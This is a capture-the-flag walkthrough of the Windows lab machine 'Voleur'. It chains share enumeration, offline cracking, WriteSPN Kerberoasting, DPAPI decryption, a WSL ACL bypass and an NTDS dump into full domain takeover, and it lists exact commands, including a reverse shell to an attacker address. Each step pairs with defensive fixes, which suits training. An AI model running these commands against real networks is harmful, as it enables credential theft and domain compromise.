← all walkthroughs

Voleur

Windows· Medium· Credential Access· Privilege Escalation
owned
2026-09-03
time to own
39m36s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Starting from a single set of assumed-breach domain credentials, I read a non-default SMB share and pulled an encrypted spreadsheet whose password cracked offline to reveal two service-account credentials and a note about a deleted employee account. Domain reconnaissance showed one of those service accounts could write a Service Principal Name onto another, turning it into a target for offline Kerberos ticket cracking and yielding a WinRM foothold.

From there, I reused a recovered password to briefly become the more privileged service account, restored the deleted employee's AD object from the Recycle Bin, and decrypted that employee's saved Windows credential (DPAPI) to obtain a third account's password. That account's file share held an unprotected SSH private key for a Linux subsystem running on the domain controller itself; SSH access to it exposed the domain's backup files outside normal Windows permissions, yielding a full copy of the Active Directory database and the domain's password hashes — including the Administrator's — for complete domain takeover.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"
export PASSWORD3="<the-password-you-recovered>"
export PASSWORD4="<the-password-you-recovered, for svc_ldap>"
export PASSWORD7="<the-password-you-recovered>"
export HASH="<the-hash-you-recovered>"

Some commands also carry a value in angle brackets — <decrypted_masterkey> — which you replace inline with what the step before it turned up.

Attack path — how the box was taken

1Initial AccessSMB share enumeration with a low-privileged account (T1135 / T1021.002)
Authenticated with the provided domain account and read a sensitive file share
Using the supplied credentials for ryan.naylor, I requested a Kerberos ticket (the domain enforces Kerberos-only authentication, so NTLM logins are rejected) and enumerated SMB shares on the domain controller. A non-default share named 'IT' was readable by this low-privileged account and contained an internal support spreadsheet, 'Access_Review.xlsx', protected only by document-level encryption.
ryan.naylor had READ on the non-default 'IT' share; Access_Review.xlsx was retrievable and found to be CDFV2-encrypted.
Exact commands 5
shell

Resolve the domain controller's hostname.

$ echo "$TARGET dc.voleur.htb voleur.htb" | sudo tee -a /etc/hosts
shell

Sync the clock — Kerberos fails with KRB_AP_ERR_SKEW if my and DC time diverge.

$ sudo ntpdate dc.voleur.htb
shell

Request a Kerberos TGT; NTLM auth is disabled domain-wide.

$ getTGT.py voleur.htb/ryan.naylor:$PASSWORD3 -dc-ip $TARGET
shell

Point subsequent tools at the obtained ticket.

$ export KRB5CCNAME=ryan.naylor.ccache
shell

Browse shares over Kerberos; locate and download IT/First-Line Support/Access_Review.xlsx.

$ smbclient.py -k -no-pass voleur.htb/ryan.naylor@dc.voleur.htb
FixRemove sensitive credentials from shared documents and restrict the 'IT' shareHigh
WeaknessA non-default SMB share ('IT') was readable by an ordinary domain user and contained a spreadsheet, protected only by a weak, dictionary-crackable password, that stored multiple service-account passwords in plaintext.
FixRestrict the 'IT' share to only the staff who need it via NTFS/share ACLs, remove plaintext or weakly-protected credentials from documents entirely, and store secrets in a managed vault (e.g. Group Managed Service Accounts or a password manager) instead of spreadsheets. Enforce a strong, non-dictionary password policy for any document-level encryption that remains.
2Credential AccessOffline password recovery against a protected document (T1110.002)
Cracked the spreadsheet's password and recovered two service-account credentials
The xlsx file's encryption password was recovered offline with a dictionary attack. Opening the document exposed plaintext credentials for two service accounts, svc_ldap and svc_iis, plus an internal note that a former employee, todd.wolfe, had been deleted from Active Directory along with their password — details that became critical to the later privilege-escalation chain.
office2john/hashcat -m 9600 recovered the password; document contained svc_ldap's password, svc_iis's password, and todd.wolfe's password.
Exact commands 2
shell

Extract the crackable hash from the encrypted spreadsheet.

$ office2john Access_Review.xlsx > access_review.hash
shell

Dictionary-crack the document password (recovers '$PASSWORD7').

$ hashcat -m 9600 access_review.hash /usr/share/wordlists/rockyou.txt
3Privilege EscalationTargeted Kerberoasting via delegated WriteSPN abuse (T1558.003)
Abused a WriteSPN privilege to Kerberoast a normally unroastable account
BloodHound data collected with the svc_ldap credential showed svc_ldap held WriteSPN rights over svc_winrm, a member of Remote Management Users. I added a fake Service Principal Name to svc_winrm, which made it eligible for Kerberoasting even though it had no SPN of its own, requested its Kerberos service ticket, and cracked the ticket offline to recover svc_winrm's password.
BloodHound path: svc_ldap -[WriteSPN]-> svc_winrm; TGS for the injected SPN cracked with hashcat -m 13100 to <withheld>.
Exact commands 5
shell

Collect AD relationships to find abusable privileges.

$ bloodhound-python -k -u svc_ldap -p $PASSWORD4 -d voleur.htb -ns $TARGET -c All
shell

Write a fake SPN onto svc_winrm using svc_ldap's WriteSPN right.

$ bloodyAD -d voleur.htb -k --host dc.voleur.htb -u svc_ldap -p $PASSWORD4 set object svc_winrm servicePrincipalName -v 'http/x'
shell

Request and dump the now-available TGS for svc_winrm.

$ netexec ldap dc.voleur.htb -u svc_ldap -p $PASSWORD4 -k --kerberoasting out.txt
shell

Crack the Kerberoast ticket offline (recovers svc_winrm's password).

$ hashcat -m 13100 out.txt /usr/share/wordlists/rockyou.txt
shell

Remove the injected SPN to restore the object (operational hygiene, not required for the attack).

$ bloodyAD -d voleur.htb -k --host dc.voleur.htb -u svc_ldap -p $PASSWORD4 remove object svc_winrm servicePrincipalName -v 'http/x'
FixRemove unnecessary WriteSPN delegation and enforce strong service-account passwordsHigh
Weaknesssvc_ldap was delegated the WriteSPN right over svc_winrm, letting a compromised low-tier service account arbitrarily mark another account as Kerberoastable; svc_winrm's password was also weak enough to crack offline once roasted.
FixAudit and remove unnecessary GenericWrite/WriteSPN/GenericAll delegations on service accounts using BloodHound; grant only the minimum ACEs each account actually needs. Set all service-account passwords to long, random values (25+ characters) or migrate to Group Managed Service Accounts so Kerberoasted tickets are computationally infeasible to crack.
4FootholdKerberos-authenticated WinRM remote shell (T1021.006)
Logged in over WinRM as svc_winrm and captured the user flag
The cracked svc_winrm credential was used to obtain a Kerberos ticket and open an authenticated WinRM (Kerberos) session, giving an interactive PowerShell shell on the domain controller as svc_winrm and access to that account's desktop.
Whoami returned voleur\svc_winrm; user.txt read from C:\Users\svc_winrm\Desktop.
Exact commands 5
shell

Obtain a Kerberos TGT for svc_winrm.

$ getTGT.py voleur.htb/svc_winrm:"$PASSWORD" -dc-ip $TARGET
shell

Use this ticket for the WinRM connection.

$ export KRB5CCNAME=svc_winrm.ccache
shell

Kerberos WinRM login (NTLM/-u/-p would silently fail on this domain).

$ evil-winrm -i dc.voleur.htb -r voleur.htb
shell

Confirm code execution as svc_winrm before reading the flag.

$ whoami
voleur\svc_winrm
shell

Retrieve the user flag; value shown here is <user.txt>.

$ type C:\Users\svc_winrm\Desktop\user.txt
5Privilege EscalationExcessive AD Recycle Bin restore delegation (T1003 / abuse of delegated AD permissions)
Pivoted to svc_ldap to reach its AD Recycle Bin restore rights
Svc_winrm's session was used to spawn a new process running as svc_ldap with its already-cracked password. Svc_ldap held rights to restore deleted objects from the Active Directory Recycle Bin, which was needed to bring back the todd.wolfe account mentioned in the earlier spreadsheet note — an account whose leftover credential material had not been cleaned up.
RunasCs launched a reverse shell as voleur\svc_ldap; Get-ADObject -IncludeDeletedObjects located the tombstoned todd.wolfe object.
Exact commands 3
shell

Run from the svc_winrm WinRM shell to pivot into svc_ldap's context.

$ .\RunasCs.exe svc_ldap $PASSWORD4 powershell -r $ATTACKER_IP:443
shell

Locate the deleted account and note its objectGUID.

$ Get-ADObject -Filter 'displayName -eq "todd.wolfe"' -IncludeDeletedObjects -Properties *
shell

Restore todd.wolfe from the AD Recycle Bin using svc_ldap's delegated rights.

$ Restore-ADObject -Identity <objectGUID>
FixRestrict AD Recycle Bin restore rights to Tier-0 administratorsHigh
Weaknesssvc_ldap, a service account with no operational need to manage user lifecycle, held delegated rights to restore deleted objects from the Active Directory Recycle Bin, letting anyone who compromised it bring back a deprovisioned account and its leftover secrets.
FixRemove Recycle-Bin restore and object-management delegations from service accounts; restrict them to dedicated Tier-0 identity-administration groups. Review all delegated AD permissions with BloodHound on a regular cadence and alert on Restore-ADObject / object-restoration events.
6Credential AccessDPAPI master key and credential blob decryption (T1555.004)
Decrypted a leftover DPAPI credential from the restored user's archived profile
Restoring todd.wolfe's AD object also restored access to their archived home directory, which still contained a Windows DPAPI master key and an encrypted saved-credential blob under AppData. Using todd's own (previously recovered) password to unlock the master key, and that key to decrypt the credential blob, I recovered plaintext credentials for a fourth account, jeremy.combs.
dpapi.py decrypted the blob in AppData\Roaming\Microsoft\Credentials\ using the master key in AppData\Roaming\Microsoft\Protect\<SID>\, yielding jeremy.combs's password.
Exact commands 2
shell

Decrypt the DPAPI master key; -sid must match the Protect\<SID> folder exactly and the password is todd's document password, not an AD login.

$ dpapi.py masterkey -file '<path to Protect\<SID>\masterkey>' -sid <SID> -password $PASSWORD2
shell

Decrypt the stored credential blob to recover jeremy.combs' plaintext password.

$ dpapi.py credential -file '<path to Credentials blob>' -key 0x<decrypted_masterkey>
FixPurge credential material from deprovisioned/archived user profilesMedium
WeaknessA deleted employee's archived home directory retained an intact DPAPI master key and encrypted saved-credential blob, which decrypted into a live, working password for another current account once the deleted user was restored.
FixAs part of the offboarding process, securely wipe or archive-and-purge AppData\Roaming\Microsoft\Credentials and \Protect for departed users, and rotate any credentials that user could have accessed or saved. Do not leave deprovisioned profiles restorable with intact secrets.
7Lateral MovementInsecure private-key storage enabling lateral movement to a co-hosted Linux subsystem (T1552.004, T1021.004)
Found an unprotected SSH private key and reached a hidden Linux subsystem on the DC
jeremy.combs, a member of Remote Management Users, had access to a Third-Line Support folder containing an SSH private key (id_rsa) whose comment identified it as belonging to a 'svc_backup' account. That key was valid for an OpenSSH service listening on a non-standard port, which turned out to be a WSL (Windows Subsystem for Linux) Ubuntu instance running directly on the domain controller — a component outside the domain's usual Windows-only attack surface.
Id_rsa recovered from C:\IT\Third-Line Support\ authenticated as svc_backup over SSH on TCP/2222.
Exact commands 3
shell

Use jeremy.combs' credential to reach C:\IT\Third-Line Support\ and pull id_rsa.

$ evil-winrm -i dc.voleur.htb -r voleur.htb (as jeremy.combs, Kerberos)
shell

SSH into the WSL Ubuntu instance running on the domain controller.

$ ssh -i id_rsa -p 2222 svc_backup@$TARGET
shell

Confirm the shell and its privileges before proceeding.

$ id; hostname
FixNever store private SSH keys in general-access file sharesHigh
WeaknessA private SSH key (id_rsa) for a backup-service account was stored unencrypted in a support share reachable by a standard Remote Management Users member, allowing lateral movement to another host with no additional exploitation.
FixRemove private keys from shared locations; store them only in the target user's own protected profile or a secrets manager/HSM, protect them with a passphrase, and restrict SSH access with IP allow-listing or a bastion host. Rotate the exposed key immediately.
8Privilege EscalationNTFS ACL bypass via WSL-mounted filesystem exposing an AD database backup (T1003.003)
Read the domain's NTDS backup through WSL's bypass of Windows file permissions
WSL mounts the Windows C: drive at /mnt/c without enforcing Windows NTFS ACLs. A domain backup directory on that drive — normally protected — was fully readable from inside WSL and contained a copy of the Active Directory database (ntds.dit) along with the SYSTEM and SECURITY registry hives needed to decrypt it, giving me every domain account's password hash including the built-in Administrator's.
/mnt/c/IT/Third-Line Support/Backups/ contained ntds.dit, SYSTEM, and SECURITY, world-writable per the ls -l output captured during the session.
Exact commands 3
shell

Confirm the backup files are readable from the WSL shell, unrestricted by Windows ACLs.

$ ls -l '/mnt/c/IT/Third-Line Support/Backups'
shell

Pull the AD database and registry hives needed to decrypt it.

$ scp -P 2222 -i id_rsa svc_backup@$TARGET:'/mnt/c/IT/Third-Line Support/Backups/{ntds.dit,SYSTEM,SECURITY}' .
shell

Extract every domain account's NTLM hash, including built-in Administrator.

$ secretsdump.py -system SYSTEM -security SECURITY -ntds ntds.dit LOCAL
FixStop storing AD database backups where WSL or other non-Windows-ACL-aware access can reach themCritical
WeaknessA full Active Directory backup (ntds.dit, SYSTEM, SECURITY) was stored on the domain controller's C: drive inside a path also reachable from the machine's WSL Linux subsystem, which mounts NTFS without honoring Windows ACLs — exposing the entire domain's password hashes to any account with WSL shell access.
FixDo not run WSL (or other non-Windows-ACL-aware subsystems) on domain controllers. Store AD/NTDS backups only on isolated, access-controlled backup infrastructure — never on the DC's local disk — and encrypt backup files at rest. Restrict who can log in to the DC at all, and monitor for ntdsutil/secretsdump-style access patterns.
9Domain CompromiseOverpass-the-hash: NTLM hash to Kerberos TGT (T1550.002 / T1550.003)
Used the extracted Administrator hash to get a Kerberos ticket and full control of the domain
Because NTLM is disabled domain-wide, the Administrator's NTLM hash could not be used for classic pass-the-hash. Instead, I performed an overpass-the-hash: using the hash to request a legitimate Kerberos TGT for Administrator, then using that ticket to open a command-execution session on the domain controller as Administrator, proving full domain compromise and retrieving the root flag.
getTGT.py issued a TGT for administrator from the dumped hash; wmiexec.py opened a SYSTEM-level session; root.txt read from C:\Users\Administrator\Desktop.
Exact commands 4
shell

Convert the NT hash into a Kerberos TGT since NTLM pass-the-hash is blocked.

$ getTGT.py voleur.htb/administrator -hashes :$HASH -dc-ip $TARGET
shell

Use the Administrator ticket for the next command.

$ export KRB5CCNAME=administrator.ccache
shell

Open a command-execution session as Administrator over Kerberos.

$ wmiexec.py -k -no-pass voleur.htb/administrator@dc.voleur.htb
shell

Prove SYSTEM/Administrator access before reading the flag; value shown here is <root.txt>.

$ whoami && type C:\Users\Administrator\Desktop\root.txt

Exposed services

53/tcp
88/tcp
135/tcp
139/tcp
389/tcp
445/tcp
464/tcp
593/tcp
636/tcp
2222/tcp
3268/tcp
5985/tcp
9389/tcp
49664/tcp
49668/tcp
49674/tcp
49675/tcp
53181/tcp
53187/tcp
53207/tcp
53/udp